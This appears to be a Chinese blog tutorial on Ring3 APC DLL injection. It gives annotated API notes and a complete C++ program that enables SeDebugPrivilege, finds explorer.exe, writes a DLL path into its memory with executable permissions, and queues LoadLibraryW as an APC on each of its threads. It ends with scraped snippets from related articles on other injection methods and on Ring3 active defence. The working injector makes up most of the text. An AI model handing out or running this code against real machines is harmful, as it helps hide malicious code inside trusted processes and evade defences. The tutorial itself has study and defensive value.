APC注入(Ring3层)

/*

步骤:

1.提权(GrantDebugPrivileges)
(1)获得令牌token,OpenThreadToken(),OpenProcessToken ()

WINADVAPI
BOOL
WINAPI
OpenThreadToken(
_In_ HANDLE ThreadHandle,
_In_ DWORD DesiredAccess,
_In_ BOOL OpenAsSelf,
_Outptr_ PHANDLE TokenHandle
);

OpenAsSelf参数

[in]  true 指定应使用调用线程的进程安全上下文执行访问检查;
false 指定应使用调用线程本身的安全上下文执行访问检查。 
如果线程正在模拟客户端,则此安全上下文可以是一个客户端进程的安全上下文。

WINADVAPI
BOOL
WINAPI
OpenProcessToken(
_In_ HANDLE ProcessHandle,
_In_ DWORD DesiredAccess,
_Outptr_ PHANDLE TokenHandle
);

(2)将提升的权限放到TokenPrivileges结构中

WINADVAPI
BOOL
WINAPI
AdjustTokenPrivileges(
_In_ HANDLE TokenHandle,
_In_ BOOL DisableAllPrivileges, 标志这个函数是否禁用该令牌的所有特权.如果为TRUE,这个函数禁用所有特权,NewState参数无效.
如果为假,以NewState参数指针的信息为基础来修改特权.
_In_opt_ PTOKEN_PRIVILEGES NewState,
_In_ DWORD BufferLength,
_Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,
_Out_opt_ PDWORD ReturnLength
);

(3)将获取的令牌TokenHandle与TokenPrivileges结构关联

2.通过进程ImageName获取进程ID(GetProcessIDByProcessImageName)
(1)给系统的所有进程快照ProcessSnapshotHandle

函数原型:
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
);

指定快照中包含的系统内容,dwFlags这个参数能够使用下列数值(常量)中的一个或多个。
TH32CS_INHERIT - 声明快照句柄是可继承的。
TH32CS_SNAPALL - 在快照中包含系统中所有的进程和线程。
TH32CS_SNAPHEAPLIST - 在快照中包含在th32ProcessID中指定的进程的所有的堆。
TH32CS_SNAPMODULE - 在快照中包含在th32ProcessID中指定的进程的所有的模块。
TH32CS_SNAPPROCESS - 在快照中包含系统中所有的进程。
TH32CS_SNAPTHREAD - 在快照中包含系统中所有的线程。

#define TH32CS_SNAPHEAPLIST 0x00000001
#define TH32CS_SNAPPROCESS 0x00000002
#define TH32CS_SNAPTHREAD 0x00000004
#define TH32CS_SNAPMODULE 0x00000008
#define TH32CS_SNAPMODULE32 0x00000010
#define TH32CS_SNAPALL (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)
#define TH32CS_INHERIT 0x80000000

(2)通过PROCESSENTRY32结构得到ProcessID

PROCESSENTRY32,用来存放快照进程信息的一个结构体。(存放进程信息和调用成员输出进程信息)
用来 Process32First指向第一个进程信息,并将进程信息抽取到PROCESSENTRY32中。
用Process32Next指向下一条进程信息。

typedef struct tagPROCESSENTRY32
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // this process
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID; // associated exe
DWORD cntThreads;
DWORD th32ParentProcessID; // this process‘s parent process
LONG pcPriClassBase; // Base priority of process‘s threads
DWORD dwFlags;
CHAR szExeFile[MAX_PATH]; // Path
} PROCESSENTRY32;

process32First,Process32Next是两个个进程获取函数,当我们利用函数CreateToolhelp32Snapshot()获得当前运行进程的快照后,
我们可以利用process32First函数来获得第一个进程的句柄,利用Process32Next函数来获得下一个进程的句柄。

3.通过进程ID获取线程ID(GetThreadIDByProcessID) 触发异常,分配出物理内存

4.注入
(1)在对方进程空间申请内存,

LPVOID
WINAPI
VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);

flAllocationType参数设置:MEM_COMMIT | MEM_RESERVE
(如果物理内存申请失败,将保留进程的虚拟地址空间,到真正执行时,会触发异常,进行物理内存分配)

MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
MEM_RESERVE:保留进程的虚拟地址空间,而不分配任何物理存储。保留页面可通过继续调用VirtualAlloc()而被占用

(2)将DllFullPath写入内存当中

WriteProcessMemory()函数能写入某一进程的内存区域。入口区必须可以访问,否则操作将失败。

BOOL
WINAPI
WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T * lpNumberOfBytesWritten
);

(3)加载dll文件

LoadLibraryWAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
//从当前进程中获得导入模块kernel32.dll的基地址,从kernel32.dll模块中的导出表中获得函数LoadLibraryW
//目的 1.防止IAT HOOK(ImportAddressTable) 2.确保地址正确(不同虚拟地址映射到同一物理地址)

*/

#include "stdafx.h"
#include<Windows.h>
#include<ntstatus.h>
#include<iostream>
#include<vector>
#include<TlHelp32.h>

using namespace std;

BOOL GrantPriviledge(IN PWCHAR PriviledgeName);
BOOL GetProcessIDByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 TargetProcessID);
BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>&ThreadIDVector);
BOOL InjectByAPC(IN UINT32 ProcessID,OUT UINT32 ThreadID);

WCHAR DllFullPath[MAX_PATH] = { 0 }; //MAX_PATH 260
PVOID DllFullPathBufferData = NULL;
UINT_PTR LoadLibraryWAddress = 0;

int main()
{
//1.提权

if (GrantPriviledge(SE_DEBUG_NAME) == false)
{
printf("GrantPriviledge Error.\n");
}

//2.Dll路径
GetCurrentDirectoryW(MAX_PATH, DllFullPath);
//#ifdef _WIN64
wcscat(DllFullPath, L"\\Dll.dll");
//#else
// wcscat(DllFullPath, L"\\Dll.dll");
//#endif
// LoadLibrary(DllFullPath);
//3.获取进程ID
UINT32 ProcessID = -1; //idol进程ID为0
GetProcessIDByProcessImageName(L"explorer.exe",&ProcessID);

//4.获取线程ID_Vector
vector<UINT32> ThreadIDVector;
if (GetThreadIDByProcessID(ProcessID,ThreadIDVector) == false)
{
return 0;
}

//5.注入
size_t ThreadCount = ThreadIDVector.size();
for (INT_PTR i = ThreadCount - 1; i >= 0; i--) //INT_PTR
{
UINT32 ThreadID = ThreadIDVector[i];
InjectByAPC(ProcessID,ThreadID);
}

}

BOOL GrantPriviledge(PWCHAR PriviledgeName)
{
TOKEN_PRIVILEGES TokenPrivileges, Oldprivileges;
DWORD dwReturnLength = sizeof(Oldprivileges);
HANDLE TokenHandle = INVALID_HANDLE_VALUE;
LUID uID; //LUID 64位

//打开权限令牌
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, false, &TokenHandle))
{
if (GetLastError() != ERROR_NO_TOKEN)
{
return false;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
return false;
}
}
//LookupPrivilegeValue()函数查看系统权限的特权值,返回信息到一个LUID结构体里
if (!LookupPrivilegeValue(NULL,PriviledgeName,&uID))
{
CloseHandle(TokenHandle);
return false;
}

TokenPrivileges.PrivilegeCount = 1; //要提升的权限个数
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TokenPrivileges.Privileges[0].Luid = uID;

//调整权限
if (!AdjustTokenPrivileges(TokenHandle, false, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &Oldprivileges, &dwReturnLength))
{
CloseHandle(TokenHandle);
return false;
}

CloseHandle(TokenHandle);
return true;

}

BOOL GetProcessIDByProcessImageName(IN PWCHAR wzProcessImageName, OUT PUINT32 ProcessID)
{
HANDLE ProcessSnapshotHandle = INVALID_HANDLE_VALUE;
ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //给系统的所有进程快照
if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
{
return false;
}

PROCESSENTRY32 ProcessEntry32 = { 0 };
ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); //初始化PROCESSENTRY32结构

Process32First(ProcessSnapshotHandle, &ProcessEntry32);
do
{
if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) //不区分大小写 双字
{
*ProcessID = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); //BOOL型返回值

CloseHandle(ProcessSnapshotHandle);
ProcessSnapshotHandle = INVALID_HANDLE_VALUE;
return true;
}

//枚举指定进程ID的所有线程,压入模板中,返回线程模板集合
BOOL GetThreadIDByProcessID(IN UINT32 ProcessID, OUT vector<UINT32>&ThreadIDVector)
{
HANDLE ThreadSnapshotHandle = INVALID_HANDLE_VALUE;
THREADENTRY32 ThreadEntry32 = { 0 };

ThreadEntry32.dwSize = sizeof(THREADENTRY32);
ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
{
return false;
}

Thread32First(ThreadSnapshotHandle, &ThreadEntry32);
do
{
if (ThreadEntry32.th32OwnerProcessID == ProcessID)
{
ThreadIDVector.emplace_back(ThreadEntry32.th32ThreadID); //将线程ID压入模板
}
} while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));

CloseHandle(ThreadSnapshotHandle);
ThreadSnapshotHandle = NULL;
return true;
}

BOOL InjectByAPC(UINT32 ProcessID, UINT32 ThreadID)
{
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessID);
HANDLE ThreadHandle = INVALID_HANDLE_VALUE;
SIZE_T DllFullPathLength = (wcslen(DllFullPath) + 1) * 2;
//SIZE_T DllFullPathSize = DllFullPathLength
SIZE_T ReturnLength = 0;
BOOL bOK = false;

//在对方进程空间申请内存
if (DllFullPathBufferData == NULL)
{
DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (DllFullPathBufferData == NULL)
{
CloseHandle(ProcessHandle);
return false;
}
//将DllFullPath写入内存当中
BOOL bOK = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, (wcslen(DllFullPath) + 1)*2, &ReturnLength);
if (bOK == false)
{
VirtualFree(DllFullPathBufferData, DllFullPathLength,MEM_RELEASE);
CloseHandle(ProcessHandle);
return false;
}
}
//从当前进程中获得导入模块kernel32.dll的基地址,从kernel32.dll模块中的导出表中获得函数LoadLibraryW
//目的 1.防止IAT HOOK(ImportAddressTable) 2.确保地址正确(不同虚拟地址映射到同一物理地址)
LoadLibraryWAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (LoadLibraryWAddress == NULL)
{
VirtualFree(DllFullPathBufferData, DllFullPathLength, MEM_RELEASE);
CloseHandle(ProcessHandle);
return false;
}
__try
{
ThreadHandle = OpenThread(THREAD_ALL_ACCESS, false, ThreadID);
QueueUserAPC((PAPCFUNC)LoadLibraryWAddress, ThreadHandle, (UINT_PTR)DllFullPathBufferData);
//可执行IO?
}
__except(EXCEPTION_CONTINUE_EXECUTION)
{

}
CloseHandle(ProcessHandle);
CloseHandle(ThreadHandle);
return true;
}

时间: 2024-10-17 04:11:40

APC注入(Ring3层)的相关文章

Windows x86/ x64 Ring3层注入Dll总结

0x01.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线程.Apc等等,这里我对Ring3层的Dll注入学习做一个总结吧. 我把注入的方法分成六类,分别是:1.创建新线程.2.设置线程上下背景文,修改寄存器.3.插入Apc队列.4.修改注册表.5.挂钩窗口消息.6.远程手动实现LoadLibrary. 那么下面就开始学习之旅吧! 0x02.预备工作 在涉及到注入的程序中,提升程序的权限自然是必不可少的,这里我提供了两个封装的函数,都可以用于提权.第一个是通过权限令牌来调整权限

QueryUserAPC Ring3下 APC注入

DLL.dll可以自己建,实测在win7 X86 X64, win10 X64下可用 #pragma once /****************************************************************************************************/ /*Ring3下 APC注入提权 TLHelp32枚举线程 vector*/ /***************************************************

病毒木马查杀实战第020篇:Ring3层主动防御之基本原理

本系列教程版权归"i春秋"所有,转载请标明出处.        本文配套视频教程,请访问"i春秋"(www.ichunqiu.com). 前言 如果说我们的计算机中安装有杀毒软件,那么当我们有意或无意地下载了一个恶意程序后,杀软一般都会弹出一个对话框提示我们,下载的程序很可能是恶意程序,建议删除之类的,或者杀软就不提示,直接删除了:或者当我们运行了某一个程序,包含有可疑操作,比如创建开机启动项,那么杀软一般也会对此进行提醒:或者当我们在计算机中插入U盘,杀软往往也会

病毒木马查杀实战第021篇:Ring3层主动防御之编程实现

本系列教程版权归"i春秋"所有,转载请标明出处.        本文配套视频教程,请访问"i春秋"(www.ichunqiu.com). 前言 我们这次会依据上次的内容,编程实现一个Ring3层的简单的主动防御软件.整个程序使用MFC实现,程序开始监控时,会将DLL程序注入到explorer.exe进程中,这样每当有新的进程创建,程序首先会进行特征码匹配,从而判断目标程序是否为病毒程序,如果是,则进行拦截,反之不拦截.停止监控时,再卸载掉DLL程序.以下就是程序各个

[转载]Dll注入技术之APC注入

转自:黑客反病毒 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:     1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断.     2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数.     3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是L

关于Ring3层的注册表监控

最近一直想做远程操作的注册表,将客户端的注册表发送到主控端,遇到两个问题: 1.不能每次点击TreeControl都是一次请求的发送,太浪费资源. 2.在客户端的注册表监控效果也不是很好.(驱动不稳定,只想用Ring3层) 第一个问题比较好解决,在主控端加一个缓存结构就Ok,但是第二个问题还有一些问题. 常用的注册表监控一般都会使用钩子,Hook有关注册表操作的函数.但是这种方法是针对进程 而言,如果要监控全局,就要对每个进程Inject,这基本不现实. 一个使用DETOUR库的RegQuery

ring0 与 ring3 层之间的交互

在进行Windows的ring0层开发时,必不可免的要与 ring3 层进行交互.进行数据间的相互传输.可用的方法有DeviceIoCntrol,ReadFile.我平常都是用的DeviceIoControl在ring3 与 ring0 层进行的数据传输.今天就写写DeviceIoControl 和 ring0通过事件通知 ring3! 首先加载驱动之后,在ring3层调用CreateFile() 打开ring0层生成的LinkName,获得设备对象的句柄.然后调用DeviceIoControl

注入理解之APC注入

近期学习做了一个各种注入的MFC程序,把一些心得和体会每天分享一些 APC(Asynchronous procedure call)异步程序调用,在NT中,有两种类型的APCs:用户模式和内核模式.用户APCs运行在用户模式下目标线程当前上下文中,并且需要从目标线程得到许可来运行.特别是,用户模式的APCs需要目标线程处在alertable等待状态才能被成功的调度执行.通过调用下面任意一个函数,都可以让线程进入这种状态.这些函数是:KeWaitForSingleObject, KeWaitFor

APC注入APCInject(DLL)

APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入).2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数.3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果